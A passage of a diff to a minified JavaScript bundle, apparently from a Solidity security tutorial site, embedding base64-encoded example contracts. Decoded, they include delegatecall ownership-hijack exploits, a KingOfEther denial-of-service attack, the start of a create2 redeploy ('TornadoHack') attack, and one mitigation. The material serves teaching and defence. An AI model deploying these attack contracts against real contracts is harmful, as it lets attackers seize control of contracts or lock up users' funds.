kcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],zk=`
                                      Vulnerability
                                      
+
                                    `,Kk=({prev:s,next:a})=>r.jsx(A,{version:Xk,title:vk,description:Rk,html:Hk,prev:s,next:a,codes:Nk}),Fk="0.8.24",Mk="Delegatecall",Sk="An example of exploits using delegatecall in Solidity",xk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],Jk=`

                                    Vulnerability

                                    delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

                                    You must keep 2 things in mind when using delegatecall

                                    @@ -9596,7 +9596,7 @@ change the owner.
                                    • Use stateless Library
                                    -`,Dk=({prev:s,next:a})=>r.jsx(A,{version:Mk,title:Sk,description:xk,html:zk,prev:s,next:a,codes:Jk}),Ek="0.8.24",Qk="Denial of Service",Tk="An example of denial of service hack in Solidity",Uk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],_k=`

                                    Vulnerability

                                    +`,zk=({prev:s,next:a})=>r.jsx(A,{version:Fk,title:Mk,description:Sk,html:Jk,prev:s,next:a,codes:xk}),Dk="0.8.24",Ek="Denial of Service",Qk="An example of denial of service hack in Solidity",Tk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],Uk=`

                                    Vulnerability

                                    There are many ways to attack a smart contract to make it unusable.

                                    One exploit we introduce here is denial of service by making the function to send Ether fail.

                                    // SPDX-License-Identifier: MIT
@@ -9687,7 +9687,7 @@ Ether sent from KingOfEther before the new king is set.
         require(sent, "Failed to send Ether");
     }
 }
-
                                    `,Lk=({prev:s,next:a})=>r.jsx(A,{version:Ek,title:Qk,description:Tk,html:_k,prev:s,next:a,codes:Uk}),Ok="0.8.24",Pk="Deploy Different Contracts at the Same Address",$k="An example of a Solidity contract vulnerable to deploy different contracts at the same address",qk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvd